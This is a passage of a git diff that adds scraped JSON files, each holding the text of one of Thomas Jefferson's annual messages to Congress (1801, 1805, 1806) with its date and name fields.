economy.Presuming it will be deemed expedient to expend annually a convenient sum\ntoward providing the naval defense which our situation may require, I can\nnot but recommend that the first appropriations for that purpose may go to\nthe saving what we already possess. No cares, no attentions, can preserve\nvessels from rapid decay which lie in water and exposed to the sun. These\ndecays require great and constant repairs, and will consume, if continued,\na great portion of the moneys destined to naval purposes. To avoid this\nwaste of our resources it is proposed to add to our navy-yard here a dock\nwithin which our present vessels may be laid up dry and under cover from\nthe sun. Under these circumstances experience proves that works of wood\nwill remain scarcely at all affected by time. The great abundance of\nrunning water which this situation possesses, at heights far above the\nlevel of the tide, if employed as is practiced for lock navigation,\nfurnishes the means for raising and laying up our vessels on a dry and\nsheltered bed. And should the measure be found useful here, similar\ndepositories for laying up as well as for building and repairing vessels\nmay hereafter be undertaken at other navy-yards offering the same means.\nThe plans and estimates of the work, prepared by a person of skill and\nexperience, will be presented to you without delay, and from this it will\nbe seen that scarcely more than has been the cost of one vessel is necessary\nto save the whole, and that the annual sum to be employed toward its\ncompletion may be adapted to the views of the Legislature as to naval\nexpenditure. To cultivate peace and maintain commerce and navigation in all\ntheir lawful enterprises; to foster our fisheries as nurseries of\nnavigation and for the nurture of man, and protect the manufactures adapted\nto our circumstances; to preserve the faith of the nation by an exact\ndischarge of its debts and contracts, expend the public money with the same\ncare and economy we would practice with our own, and impose on our citizens\nno unnecessary burthens; to keep in all things within the pale of our\nconstitutional powers, and cherish the federal union as the only rock of\nsafety--these, fellow citizens, are the land-marks by which we are to\nguide ourselves in all proceedings. By continuing to make these the rule of\nour action we shall endear to our country-men the true principles of their\nConstitution and promote an union of sentiment and of action equally\nauspicious to their happiness and safety. On my part, you may count on a\ncordial concurrence in every measure for the public good and on all the\ninformation I possess which may enable you to discharge to advantage the\nhigh functions with which you are invested by your country.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
\ No newline at end of file
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+++ b/pyscrapper/stateofunion/ScrapedData/Thomas JeffersonDecember 2, 1806.json	
@@ -0,0 +1,5 @@
+{
+    "date": "December 2, 1806", 
+    "speech": "The Senate and House of Representatives of the United States:It would have given me, fellow citizens, great satisfaction to announce in\nthe moment of your meeting that the difficulties in our foreign relations\nexisting at the time of your last separation had been amicably and justly\nterminated. I lost no time in taking those measures which were most likely\nto bring them to such a termination--by special missions charged with such\npowers and instructions as in the event of failure could leave no\nimputation on either our moderation or forbearance. The delays which have\nsince taken place in our negotiations with the British Government appear to\nhave proceeded from causes which do not forbid the expectation that during\nthe course of the session I may be enabled to lay before you their final\nissue. What will be that of the negotiations for settling our differences\nwith Spain nothing which had taken place at the date of the last dispatches\nenables us to pronounce. On the western side of the Mississippi she\nadvanced in considerable force, and took post at the settlement of Bayou\nPierre, on the Red River. This village was originally settled by France,\nwas held by her as long as she held Louisiana, and was delivered to Spain\nonly as a part of Louisiana. Being small, insulated, and distant, it was\nnot observed at the moment of redelivery to France and the United States\nthat she continued a guard of half a dozen men which had been stationed\nthere. A proposition, however, having been lately made by our commander in\nchief to assume the Sabine River as a temporary line of separation between\nthe troops of the two nations until the issue of our negotiations shall be\nknown, this has been referred by the Spanish commandant to his superior,\nand in the mean time he has withdrawn his force to the western side of the\nSabine River. The correspondence on this subject now communicated will\nexhibit more particularly the present state of things in that quarter.The nature of that country requires indispensably that an unusual\nproportion of the force employed there should be cavalry or mounted\ninfantry. In order, therefore, that the commanding officer might be enabled\nto act with effect, I had authorized him to call on the governors of\nOrleans and Mississippi for a corps of five hundred volunteer cavalry.\nThe temporary arrangement he has proposed may perhaps render this\nunnecessary; but I inform you with great pleasure of the promptitude with\nwhich the inhabitants of those Territories have tendered their services in\ndefense of their country. It has done honor to themselves, entitled them\nto the confidence of their fellow citizens in every part of the Union,\nand must strengthen the general determination to protect them\nefficaciously under all circumstances which may occur.Having received information that in another part of the United States a\ngreat number of private individuals were combining together, arming and\norganizing themselves contrary to law, to carry on a military expedition\nagainst the territories of Spain, I thought it necessary, by proclamation\nas well as by special orders, to take measures for preventing and\nsuppressing this enterprise, for seizing the vessels, arms, and other means\nprovided for it, and for arresting and bringing to justice its authors and\nabettors. It was due to that good faith which ought ever to be the rule of\naction in public as well as in private transactions, it was due to good\norder and regular government, that while the public force was acting\nstrictly on defensive and merely to protect our citizens from aggression\nthe criminal attempts of private individuals to decide for their country\nthe question of peace or war by commencing active and unauthorized\nhostilities should be promptly and efficaciously suppressed.Whether it will be necessary to enlarge our regular forces will depend on\nthe result of our negotiations with Spain; but as it is uncertain when that\nresult will be known, the provisional measures requisite for that, and to\nmeet any pressure intervening in that quarter, will be a subject for your\nearly consideration.The possession of both banks of the Mississippi reducing to a single point\nthe defense of that river, its waters, and the country adjacent, it becomes\nhighly necessary to provide for that point a more adequate security. Some\nposition above its mouth, commanding the passage of the river, should be\nrendered sufficiently strong to cover the armed vessels which may be\nstationed there for defense, and in conjunction with them to present an\ninsuperable obstacle to any force attempting to pass. The approaches to the\ncity of New Orleans from the eastern quarter also will require to be\nexamined and more effectually guarded. For the internal support of the\ncountry the encouragement of a strong settlement on the western side of the\nMississippi, within reach of New Orleans, will be worthy the consideration\nof the Legislature.The gun boats authorized by an act of the last session are so advanced that\nthey will be ready for service in the ensuing spring. Circumstances\npermitted us to allow the time necessary for their more solid construction.\nAs a much larger number will still be wanting to place our sea port towns\nand waters in that state of defense to which we are competent and they\nentitled, a similar appropriation for a further provision for them is\nrecommended for the ensuing year.A further appropriation will also be necessary for repairing fortifications\nalready established and the erection of such other works as may have real\neffect in obstructing the approach of an enemy to our sea port towns, or\ntheir remaining before them.In a country whose constitution is derived from the will of the people,\ndirectly expressed by their free suffrages; where the principal executive\nfunctionaries and those of the legislature are renewed by them at short\nperiods; where under the character of jurors they exercise in person the\ngreatest portion of the judiciary powers; where the laws are consequently\nso formed and administered as to bear with equal weight and favor on all,\nrestraining no man in the pursuits of honest industry and securing to\neveryone the property which that acquires, it would not be supposed that\nany safe-guards could be needed against insurrection or enterprise on the\npublic peace or authority. The laws, however, aware that these should not\nbe trusted to moral restraints only, have wisely provided punishment for\nthese crimes when committed. But would it not be salutary to give also the\nmeans of preventing their commission? Where an enterprise is meditated by\nprivate individuals against a foreign nation in amity with the United\nStates, powers of prevention to a certain extent are given by the laws.\nWould they not be as reasonable and useful where the enterprise preparing\nis against the United States? While adverting to this branch of law it is\nproper to observe that in enterprises meditated against foreign nations the\nordinary process of binding to the observance of the peace and good\nbehavior, could it be extended to acts to be done out of the jurisdiction\nof the United States, would be effectual in some cases where the offender\nis able to keep out of sight every indication of his purpose which could\ndraw on him the exercise of the powers now given by law.The States on the coast of Barbary seem generally disposed at present to\nrespect our peace and friendship; with Tunis alone some uncertainty\nremains. Persuaded that it is our interest to maintain our peace with them\non equal terms or not at all, I propose to send in due time a reenforcement\ninto the Mediterranean unless previous information shall show it to be\nunnecessary.We continue to receive proofs of the growing attachment of our Indian\nneighbors and of their dispositions to place all their interests under the\npatronage of the United States. These dispositions are inspired by their\nconfidence in our justice and in the sincere concern we feel for their\nwelfare; and as long as we discharge these high and honorable functions\nwith the integrity and good faith which alone can entitle us to their\ncontinuance we may expect to reap the just reward in their peace and\nfriendship.The expedition of Messrs. Lewis and Clarke for exploring the river Missouri\nand the best communication from that to the Pacific Ocean has had all the\nsuccess which could have been expected. They have traced the Missouri\nnearly to its source, descended the Columbia to the Pacific Ocean,\nascertained with accuracy the geography of that interesting communication\nacross our continent, learnt the character of the country, of its commerce\nand inhabitants; and it is but justice to say that Messrs. Lewis and Clarke\nand their brave companions have by this arduous service deserved well of\ntheir country.The attempt to explore the Red River, under the direction of Mr. Freeman,\nthough conducted with a zeal and prudence meriting entire approbation, has\nnot been equally successful. After proceeding up it about six hundred\nmiles, nearly as far as the French settlements had extended while the\ncountry was in their possession, our geographers were obliged to return\nwithout completing their work.Very useful additions have also been made to our knowledge of the\nMississippi by Lieutenant Pike, who has ascended it to its source, and\nwhose journal and map, giving the details of his journey, will shortly be\nready for communication to both Houses of Congress. Those of Messrs. Lewis,\nClarke, and Freeman will require further time to be digested and prepared.\nThese important surveys, in addition to those before possessed, furnish\nmaterials for commencing an accurate map of the Mississippi and its western\nwaters. Some principal rivers, however, remain still to be explored, toward\nwhich the authorization of Congress by moderate appropriations will be\nrequisite.I congratulate you, fellow citizens, on the approach of the period at which\nyou may interpose your authority constitutionally to withdraw the citizens\nof the United States from all further participation in those violations of\nhuman rights which have been so long continued on the unoffending\ninhabitants of Africa, and which the morality, the reputation, and the best\nof our country have long been eager to proscribe. Although no law you may\npass can take prohibitory effect until the first day of the year 1808,\nyet the intervening period is not too long to prevent by timely notice\nexpeditions which can not be completed before that day.The receipts at the Treasury during the year ending on the 30th day of\nSeptember last have amounted to near $15 millions, which have enabled us,\nafter meeting the current demands, to pay $2.7 millions of the American\nclaims in part of the price of Louisiana; to pay of the funded debt upward\nof $3 millions of principal and nearly $4 millions of interest, and, in\naddition, to reimburse in the course of the present month near $2\nmillions of 5.5% stock. These payments and reimbursements of the funded\ndebt, with those which had been made in the four years and a half\npreceding, will at the close of the present year have extinguished upward\nof $23 millions of principal.The duties composing the Mediterranean fund will cease by law at the end of\nthe present session. Considering, however, that they are levied chiefly on\nluxuries and that we have an impost on salt, a necessary of life, the free\nuse of which otherwise is so important, I recommend to your consideration\nthe suppression of the duties on salt and the continuation of the\nMediterranean fund instead thereof for a short time, after which that also\nwill become unnecessary for any purpose now within contemplation.When both of these branches of revenue shall in this way be relinquished\nthere will still ere long be an accumulation of moneys in the Treasury\nbeyond the installments of public debt which we are permitted by contract\nto pay. They can not then, without a modification assented to by the public\ncreditors, be applied to the extinguishment of this debt and the complete\nliberation of our revenues, the most desirable of all objects. Nor, if our\npeace continues, will they be wanting for any other existing purpose. The\nquestion therefore now comes forward, To what other objects shall these\nsurpluses be appropriated, and the whole surplus of impost, after the\nentire discharge of the public debt, and during those intervals when the\npurposes of war shall not call for them? Shall we suppress the impost and\ngive that advantage to foreign over domestic manufactures? On a few\narticles of more general and necessary use the suppression in due season\nwill doubtless be right, but the great mass of the articles on which impost\nis paid are foreign luxuries, purchased by those only who are rich enough\nto afford themselves the use of them.Their patriotism would certainly prefer its continuance and application to\nthe great purposes of the public education, roads, rivers, canals, and such\nother objects of public improvement as it may be thought proper to add to\nthe constitutional enumeration of Federal powers. By these operations new\nchannels of communications will be opened between the States, the lines of\nseparation will disappear, their interests will be identified, and their\nunion cemented by new and indissoluble ties. Education is here placed among\nthe articles of public care, not that it would be proposed to take its\nordinary branches out of the hands of private enterprise, which manages so\nmuch better all the concerns to which it is equal, but a public institution\ncan alone supply those sciences which though rarely called for are yet\nnecessary to complete the circle, all the parts of which contribute to the\nimprovement of the country and some of them to its preservation.The subject is now proposed for the consideration of Congress, because if\napproved by the time the State legislatures shall have deliberated on this\nextension of the Federal trusts, and the laws shall be passed and other\narrangements made for their execution, the necessary funds will be on hand\nand without employment.I suppose an amendment to the Constitution, by consent of the States,\nnecessary, because the objects now recommended are not among those\nenumerated in the Constitution, and to which it permits the public moneys\nto be applied.The present consideration of a national establishment for education\nparticularly is rendered proper by this circumstance also, that if\nCongress, approving the proposition, shall yet think it more eligible to\nfound it on a donation of lands, they have it now in their power to endow\nit with those which will be among the earliest to produce the necessary\nincome. This foundation would have the advantage of being independent of\nwar, which may suspend other improvements by requiring for its own purposes\nthe resources destined for them.This, fellow citizens, is the state of the public interests at the present\nmoment and according to the information now possessed. But such is the\nsituation of the nations of Europe and such, too, the predicament in which\nwe stand with some of them that we can not rely with certainty on the\npresent aspect of our affairs, that may change from moment to moment during\nthe course of your session or after you shall have separated.Our duty is, therefore, to act upon things as they are and to make a\nreasonable provision for whatever they may be. Were armies to be raised\nwhenever a speck of war is visible in our horizon, we never should have\nbeen without them. Our resources would have been exhausted on dangers which\nhave never happened, instead of being reserved for what is really to take\nplace. A steady, perhaps a quickened, pace in preparation for the defense\nof our sea port towns and waters; an early settlement of the most exposed\nand vulnerable parts of our country; a militia so organized that its\neffective portions can be called to any point in the Union, or volunteers\ninstead of them to serve a sufficient time, are means which may always be\nready, yet never preying on our resources until actually called into use.\nThey will maintain the public interests while a more permanent force shall\nbe in course of preparation. But much will depend on the promptitude with\nwhich these means can be brought into activity. If war be forced upon us,\nin spite of our long and vain appeals to the justice of nations, rapid and\nvigorous movements in its outset will go far toward securing us in its\ncourse and issue, and toward throwing its burthens on those who render\nnecessary the resort from reason to force.The result of our negotiations, or such incidents in their course as may\nenable us to infer their probable issue; such further movements also on our\nwestern frontiers as may shew whether war is to be pressed there while\nnegotiation is protracted elsewhere, shall be communicated to you from time\nto time as they become known to me, with whatever other information I\npossess or may receive, which may aid your deliberations on the great\nnational interests committed to your charge.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
\ No newline at end of file
diff --git a/pyscrapper/stateofunion/ScrapedData/Thomas JeffersonDecember 3, 1805.json b/pyscrapper/stateofunion/ScrapedData/Thomas JeffersonDecember 3, 1805.json
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+{
+    "date": "December 3, 1805", 
+    "speech": "The Senate and House of Representatives of the United States:At a moment when the nations of Europe are in commotion and arming against\neach other, and when those with whom we have principal intercourse are\nengaged in the general contest, and when the countenance of some of them\ntoward our peaceable country threatens that even that may not be unaffected\nby what is passing on the general theater, a meeting of the representatives\nof the nation in both Houses of Congress has become more than usually\ndesirable. Coming from every section of our country, they bring with them\nthe sentiments and the information of the whole, and will be enabled to\ngive a direction to the public affairs which the will and the wisdom of the\nwhole will approve and support.In taking a view of the state of our country we in the first place notice\nthe late affliction of two of our cities under the fatal fever which in\nlatter times has occasionally visited our shores. Providence in His\ngoodness gave it an early termination on this occasion and lessened the\nnumber of victims which have usually fallen before it. In the course of the\nseveral visitations by this disease it has appeared that it is strictly\nlocal, incident to cities and on the tide waters only, incommunicable in\nthe country either by persons under the disease or by goods carried from\ndiseased places; that its access is with the autumn and it disappears with\nthe early frosts.These restrictions within narrow limits of time and space give security\neven to our maritime cities during three quarter of the year, and to the\ncountry always. Although from these facts it appears unnecessary, yet to\nsatisfy the fears of foreign nations and cautions on their part not to be\ncomplained of in a danger whose limits are yet unknown to them I have\nstrictly enjoined on the officers at the head of the customs to certify\nwith exact truth for every vessel sailing for a foreign port the state of\nhealth respecting this fever which prevails at the place from which she\nsails. Under every motive from character and duty to certify the truth, I\nhave no doubt they have faithfully executed this injunction. Much real\ninjury has, however, been sustained from a propensity to identify with this\nendemic and to call by the same name fevers of very different kinds, which\nhave been known at all times and in all countries, and never have been\nplaced among those deemed contagious.As we advance in our knowledge of this disease, as facts develop the source\nfrom which individuals receive it, the State authorities charged with the\ncare of the public health, and Congress with that of the general commerce,\nwill become able to regulate with effect their respective functions in\nthese departments. The burthen of quarantines is felt at home as well as\nabroad; their efficacy merits examination. Although the health laws of the\nStates should be found to need no present revisal by Congress, yet commerce\nclaims that their attention be ever awake to them.Since our last meeting the aspect of our foreign relations has considerably\nchanged. Our coasts have been infested and our harbors watched by private\narmed vessels, some of them without commissions, some with illegal\ncommissions, others with those of legal form, but committing practical acts\nbeyond the authority of their commissions. They have captured in the very\nentrance of our harbors, as well as on the high seas, not only the vessels\nof our friends coming to trade with us, but our own also. They have carried\nthem off under pretense of legal adjudication, but not daring to approach a\ncourt of justice, they have plundered and sunk them by the way or in\nobscure places where no evidence could arise against them, maltreated the\ncrews, and abandoned them in boats in the open sea or on desert shores\nwithout food or clothing. These enormities appearing to be unreached by any\ncontrol of their sovereigns, I found it necessary to equip a force to\ncruise within our own seas, to arrest all vessels of these descriptions\nfound hovering on our coasts within the limits of the Gulf Stream and to\nbring the offenders in for trial as pirates.The same system of hovering on our coasts and harbors under color of\nseeking enemies has been also carried on by public armed ships to the great\nannoyance and oppression of our commerce. New principles, too, have been\ninterpolated into the law of nations, founded neither in justice nor in the\nusage or acknowledgment of nations. According to these a belligerent takes\nto itself a commerce with its own enemy which it denies to a neutral on the\nground of its aiding that enemy in the war; but reason revolts at such\ninconsistency, and the neutral having equal right with the belligerent to\ndecide the question, the interests of our constituents and the duty of\nmaintaining the authority of reason, the only umpire between just nations,\nimpose on us the obligation of providing an effectual and determined\nopposition to a doctrine so injurious to the rights of peaceable nations.\nIndeed, the confidence we ought to have in the justice of others still\ncountenances the hope that a sounder view of those rights will of itself\ninduce from every belligerent a more correct observance of them.With Spain our negotiations for a settlement of differences have not had a\nsatisfactory issue. Spoliations during a former war, for which she had\nacknowledged herself responsible, have been refused to be compensated but\non conditions affecting other claims in no wise connected with them. Yet\nthe same practices are renewed in the present war and are already of great\namount. On the Mobile, our commerce passing through that river continues to\nbe obstructed by arbitrary duties and vexatious searches. Propositions for\nadjusting amicably the boundaries of Louisiana have not been acceded to.\nWhile, however, the right is unsettled, we have avoided changing the state\nof things by taking new posts or strengthening ourselves in the disputed\nterritories, in the hope that the other power would not by a contrary\nconduct oblige us to meet their example and endanger conflicts of authority,\nthe issue of which may not be easily controlled. But in this hope we\nhave now reason to lessen our confidence.Inroads have been recently made into the Territories of Orleans and the\nMississippi, our citizens have been seized and their property plundered in\nthe very parts of the former which had been actually delivered up by Spain,\nand this by the regular officers and soldiers of that Government. I have\ntherefore found it necessary at length to give orders to our troops on that\nfrontier to be in readiness to protect our citizens, and to repel by arms\nany similar aggressions in future. Other details necessary for your full\ninformation of the state of things between this country and that shall be\nthe subject of another communication.In reviewing these injuries from some of the belligerent powers the\nmoderation, the firmness, and the wisdom of the Legislature will be called\ninto action. We ought still to hope that time and a more correct estimate\nof interest as well as of character will produce the justice we are bound\nto expect, but should any nation deceive itself by false calculations, and\ndisappoint that expectation, we must join in the unprofitable contest of\ntrying which party can do the other the most harm.Some of these injuries may perhaps admit a peaceable remedy. Where that is\ncompetent it is always the most desirable. But some of them are of a nature\nto be met by force only, and all of them may lead to it. I can not,\ntherefore, but recommend such preparations as circumstances call for.The first object is to place our sea port towns out of the danger of\ninsult. Measures have been already taken for furnishing them with heavy\ncannon for the service of such land batteries as may make a part of their\ndefense against armed vessels approaching them. In aid of these it is\ndesirable we should have a competent number of gun boats, and the number,\nto be competent, must be considerable. If immediately begun, they may be in\nreadiness for service at the opening of the next season.Whether it will be necessary to augment our land forces will be decided by\noccurrences probably in the course of your session. In the mean time you\nwill consider whether it would not be expedient for a state of peace as\nwell as of war so to organize or class the militia as would enable us on\nany sudden emergency to call for the services of the younger portions,\nunencumbered with the old and those having families. Upward of three\nhundred thousand able-bodied men between the ages of 18 and 26 years,\nwhich the last census shews we may now count within our limits, will\nfurnish a competent number for offense or defense in any point where they\nmay be wanted, and will give time for raising regular forces after the\nnecessity of them shall become certain; and the reducing to the early\nperiod of life all its active service can not but be desirable to our\nyounger citizens of the present as well as future times, in as much as it\nengages to them in more advanced age a quiet and undisturbed repose in\nthe bosom of their families. I can not, then, but earnestly recommend to\nyour early consideration the expediency of so modifying our militia\nsystem as, by a separation of the more active part from that which is\nless so, we may draw from it when necessary an efficient corps fit for\nreal and active service, and to be called to it in regular rotation.Considerable provision has been made under former authorities from Congress\nof material for the construction of ships of war of 74 guns. These\nmaterials are on hand subject to the further will of the Legislature.An immediate prohibition of the exportation of arms and ammunition is also\nsubmitted to your determination.Turning from these unpleasant views of violence and wrong, I congratulate\nyou on the liberation of our fellow citizens who were stranded on the coast\nof Tripoli and made prisoners of war. In a government bottomed on the will\nof all the life and liberty of every individual citizen become interesting\nto all.In the treaty, therefore, which has concluded our warfare with that State\nan article for the ransom of our citizens has been agreed to. An operation\nby land by a small band of our country-men and others, engaged for the\noccasion in conjunction with the troops of the ex-Bashaw of that country,\ngallantly conducted by our late consul, Eaton, and their successful\nenterprise on the city of Derne, contributed doubtless to the impression\nwhich produced peace, and the conclusion of this prevented opportunities of\nwhich the officers and men of our squadron destined for Tripoli would have\navailed themselves to emulate the acts of valor exhibited by their brethren\nin the attack of the last year. Reflecting with high satisfaction on the\ndistinguished bravery displayed whenever occasions permitted it in the late\nMediterranean service, I think it would be an useful encouragement as well\nas a just reward to make an opening for some present promotion by enlarging\nour peace establishment of captains and lieutenants.With Tunis some misunderstandings have arisen not yet sufficiently\nexplained, but friendly discussions with their ambassador recently arrived\nand a mutual disposition to do whatever is just and reasonable can not fail\nof dissipating these, so that we may consider our peace on that coast,\ngenerally, to be on as sound a footing as it has been at any preceding\ntime. Still, it will not be expedient to withdraw immediately the whole of\nour force from that sea.The law providing for a naval peace establishment fixes the number of\nfrigates which shall be kept in constant service in time of peace, and\nprescribes that they shall be manned by not more than two-thirds of their\ncomplement of sea men and ordinary sea men. Whether a frigate may be\ntrusted to two-thirds only of her proper complement of men must depend on\nthe nature of the service on which she is ordered; that may sometimes, for\nher safety as well as to insure her object, require her fullest complement.\nIn adverting to this subject Congress will perhaps consider whether the\nbest limitation on the Executive discretion in this case would not be by\nthe number of sea men which may be employed in the whole service rather\nthan by the number of vessels. Occasions oftener arise for the employment\nof small than of large vessels, and it would lessen risk as well as\nexpense to be authorized to employ them of preference. The limitation\nsuggested by the number of sea men would admit a selection of vessels\nbest adapted to the service.Our Indian neighbors are advancing, many of them with spirit, and others\nbeginning to engage in the pursuits of agriculture and household\nmanufacture. They are becoming sensible that the earth yields subsistence\nwith less labor and more certainty than the forest, and find it their\ninterest from time to time to dispose of parts of their surplus and waste\nlands for the means of improving those they occupy and of subsisting their\nfamilies while they are preparing their farms. Since your last session the\nNorthern tribes have sold to us the lands between the Connecticut Reserve\nand the former Indian boundary and those on the Ohio from the same boundary\nto the rapids and for a considerable depth inland. The Chickasaws and\nCherokees have sold us the country between and adjacent to the two\ndistricts of Tennessee, and the Creeks the residue of their lands in the\nfork of the Ocmulgee up to the Ulcofauhatche. The three former purchases\nare important, in as much as they consolidate disjoined parts of our\nsettled country and render their intercourse secure; and the second\nparticularly so, as, with the small point on the river which we expect is\nby this time ceded by the Piankeshaws, it completes our possession of the\nwhole of both banks of the Ohio from its source to near its mouth, and the\nnavigation of that river is thereby rendered forever safe to our citizens\nsettled and settling on its extensive waters. The purchase from the Creeks,\ntoo, has been for some time particularly interesting to the State of\nGeorgia.The several treaties which have been mentioned will be submitted to both\nHouses of Congress for the exercise of their respective functions.Deputations now on their way to the seat of Government from various nations\nof Indians inhabiting the Missouri and other parts beyond the Mississippi\ncome charged with assurances of their satisfaction with the new relations\nin which they are placed with us, of their dispositions to cultivate our\npeace and friendship, and their desire to enter into commercial intercourse\nwith us. A state of our progress in exploring the principal rivers of that\ncountry, and of the information respecting them hitherto obtained, will be\ncommunicated as soon as we shall receive some further relations which we\nhave reason shortly to expect.The receipts of the Treasury during the year ending on the 30th day of\nSeptember last have exceeded the sum of $13 millions, which, with not\nquite $5 millions in the Treasury at the beginning of the year, have\nenabled us after meeting other demands to pay nearly $2 millions of the\ndebt contracted under the British treaty and convention, upward of $4\nmillions of principal of the public debt, and $4 millions of interest.\nThese payments, with those which had been made in three years and a half\npreceding, have extinguished of the funded debt nearly $18 millions of\nprincipal. Congress by their act of November 10th, 1803, authorized us to\nborrow $1.75 millions toward meeting the claims of our citizens assumed by\nthe convention with France. We have not, however, made use of this\nauthority, because the sum of $4.5 millions, which remained in the\nTreasury on the same 30th day of September last, with the receipts of\nwhich we may calculate on for the ensuing year, besides paying the annual\nsum of $8 millions appropriated to the funded debt and meeting all the\ncurrent demands which may be expected, will enable us to pay the whole\nsum of $3.75 millions assumed by the French convention and still leave\nus a surplus of nearly $1 million at our free disposal. Should you\nconcur in the provisions of arms and armed vessels recommended by the\ncircumstances of the times, this surplus will furnish the means of doing\nso.On this first occasion of addressing Congress since, by the choice of my\nconstituents, I have entered on a second term of administration, I embrace\nthe opportunity to give this public assurance that I will exert my best\nendeavors to administer faithfully the executive department, and will\nzealously cooperate with you in every measure which may tend to secure the\nliberty, property, and personal safety of our fellow citizens, and to\nconsolidate the republican forms and principles of our Government.In the course of your session you shall receive all the aid which I can\ngive for the dispatch of public business, and all the information necessary\nfor your deliberations, of which the interests of our own country and the\nconfidence reposed in us by others will admit a communication.TH. JEFFERSON", 
+    "name": "Thomas Jefferson"
+}
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+{
+    "date": "December 8, 1801", 
+    "speech": "Fellow Citizens of the Senate and House of Representatives:It is a circumstance of sincere gratification to me that on meeting the\ngreat council of our nation I am able to announce to them on grounds of\nreasonable certainty that the wars and troubles which have for so many\nyears afflicted our sister nations have at length come to an end, and that\nthe communications of peace and commerce are once more opening among them.\nWhilst we devoutly return thanks to the beneficent Being who has been\npleased to breathe into them the spirit of conciliation and forgiveness, we\nare bound with peculiar gratitude to be thankful to Him that our own peace\nhas been preserved through so perilous a season, and ourselves permitted\nquietly to cultivate the earth and to practice and improve those arts which\ntend to increase our comforts. The assurances, indeed, of friendly\ndisposition received from all the powers with whom we have principle\nrelations had inspired a confidence that our peace with them would not have\nbeen disturbed. But a cessation of irregularities which had affected the\ncommerce of neutral nations and of the irritations and injuries produced by\nthem can not but add to this confidence, and strengthens at the same time\nthe hope that wrongs committed on unoffending friends under a pressure of\ncircumstances will now be reviewed with candor, and will be considered as\nfounding just claims of retribution for the past and new assurance for the\nfuture.Among our Indian neighbors also a spirit of peace and friendship generally\nprevails, and I am happy to inform you that the continued efforts to\nintroduce among them the implements and the practice of husbandry and the\nhousehold arts have not been without success; that they are becoming more\nand more sensible of the superiority of this dependence for clothing and\nsubsistence over the precarious resources of hunting and fishing, and\nalready we are able to announce that instead of that constant diminution of\ntheir numbers produced by their wars and their wants, some of them begin to\nexperience an increase of population.To this state of general peace with which we have been blessed, one only\nexception exists. Tripoli, the least considerable of the Barbary States,\nhad come forward with demands unfounded either in right or in compact, and\nhad permitted itself to denounce war on our failure to comply before a\ngiven day. The style of the demand admitted but one answer.I sent a small squadron of frigates into the Mediterranean, with assurances\nto that power of our sincere desire to remain in peace, but with orders to\nprotect our commerce against the threatened attack. The measure was\nseasonable and salutary. The Bey had already declared war. His cruisers\nwere out. Two had arrived at Gibraltar. Our commerce in the Mediterranean\nwas blockaded and that of the Atlantic in peril.The arrival of our squadron dispelled the danger. One of the Tripolitan\ncruisers having fallen in with and engaged the small schooner Enterprise,\ncommanded by Lieutenant Sterret, which had gone as a tender to our larger\nvessels, was captured, after a heavy slaughter of her men, without the loss\nof a single one on our part. The bravery exhibited by our citizens on that\nelement will, I trust, be a testimony to the world that it is not the want\nof that virtue which makes us seek their peace, but a conscientious desire\nto direct the energies of our nation to the multiplication of the human\nrace, and not to its destruction. Unauthorized by the Constitution, without\nthe sanction of Congress, to go beyond the line of defense, the vessel,\nbeing disabled from committing further hostilities, was liberated with its\ncrew.The Legislature will doubtless consider whether, by authorizing measures of\noffense also, they will place our force on an equal footing with that of\nits adversaries. I communicate all material information on this subject,\nthat in the exercise of this important function confided by the\nConstitution to the Legislature exclusively their judgment may form itself\non a knowledge and consideration of every circumstance of weight.I wish I could say that our situation with all the other Barbary States was\nentirely satisfactory. Discovering that some delays had taken place in the\nperformance of certain articles stipulated by us, I thought it my duty, by\nimmediate measures for fulfilling them, to vindicate to ourselves the right\nof considering the effect of departure from stipulation on their side. From\nthe papers which will be laid before you you will be enabled to judge\nwhether our treaties are regarded by them as fixing at all the measure of\ntheir demands or as guarding from the exercise of force our vessels within\ntheir power, and to consider how far it will be safe and expedient to leave\nour affairs with them in their present posture.I lay before you the result of the census lately taken of our inhabitants,\nto a conformity with which we are now to reduce the ensuing ration of\nrepresentation and taxation. You will perceive that the increase of numbers\nduring the last 10 years, proceeding in geometric ratio, promises a\nduplication in little more than 22 years. We contemplate this rapid growth\nand the prospect it holds up to us, not with a view to the injuries it may\nenable us to do others in some future day, but to the settlement of the\nextensive country still remaining vacant within our limits to the\nmultiplication of men susceptible of happiness, educated in the love of\norder, habituated to self-government, and valuing its blessings above all\nprice.Other circumstances, combined with the increase of numbers, have produced\nan augmentation of revenue arising from consumption in a ratio far beyond\nthat of population alone; and though the changes in foreign relations now\ntaking place so desirably for the whole world may for a season affect this\nbranch of revenue, yet weighing all probabilities of expense as well as of\nincome, there is reasonable ground of confidence that we may now safely\ndispense with all the internal taxes, comprehending excise, stamps,\nauctions, licenses, carriages, and refined sugars, to which the postage on\nnews papers may be added to facilitate the progress of information, and\nthat the remaining sources of revenue will be sufficient to provide for the\nsupport of Government, to pay the interest of the public debts, and to\ndischarge the principals within shorter periods than the laws or the\ngeneral expectation had contemplated.War, indeed, and untoward events may change this prospect of things and\ncall for expenses which imposts could not meet; but sound principles will\nnot justify our taxing the industry of our fellow citizens to accumulate\ntreasure for wars to happen we know not when, and which might not, perhaps,\nhappen but from the temptations offered by that treasure.These views, however, of reducing our burthens are formed on the\nexpectation that a sensible and at the same time a salutary reduction may\ntake place in our habitual expenditures. For this purpose those of the\ncivil Government, the Army, and Navy will need revisal.When we consider that this Government is charged with the external and\nmutual relations only of these States; that the States themselves have\nprincipal care of our persons, our property, and our reputation,\nconstituting the great field of human concerns, we may well doubt whether\nour organization is not too complicated, too expensive; whether offices and\nofficers have not been multiplied unnecessarily and sometimes injuriously\nto the service they were meant to promote.I will cause to be laid before you an essay toward a statement of those\nwho, under public employment of various kinds, draw money from the Treasury\nor from our citizens. Time has not permitted a perfect enumeration, the\nramifications of office being too multiplied and remote to be completely\ntraced in a first trial.Among those who are dependent on Executive discretion I have begun the\nreduction of what was deemed unnecessary. The expenses of diplomatic agency\nhave been considerably diminished. The inspectors of internal revenue who\nwere found to obstruct the accountability of the institution have been\ndiscontinued. Several agencies created by Executive authorities, on\nsalaries fixed by that also, have been suppressed, and should suggest the\nexpediency of regulating that power by law, so as to subject its exercises\nto legislative inspection and sanction.Other reformations of the same kind will be pursued with that caution which\nis requisite in removing useless things, not to injure what is retained.\nBut the great mass of public offices is established by law, and therefore\nby law alone can be abolished. Should the Legislature think it expedient to\npass this roll in review and try all its parts by the test of public\nutility, they may be assured of every aid and light which Executive\ninformation can yield.Considering the general tendency to multiply offices and dependencies and\nto increase expense to the ultimate term of 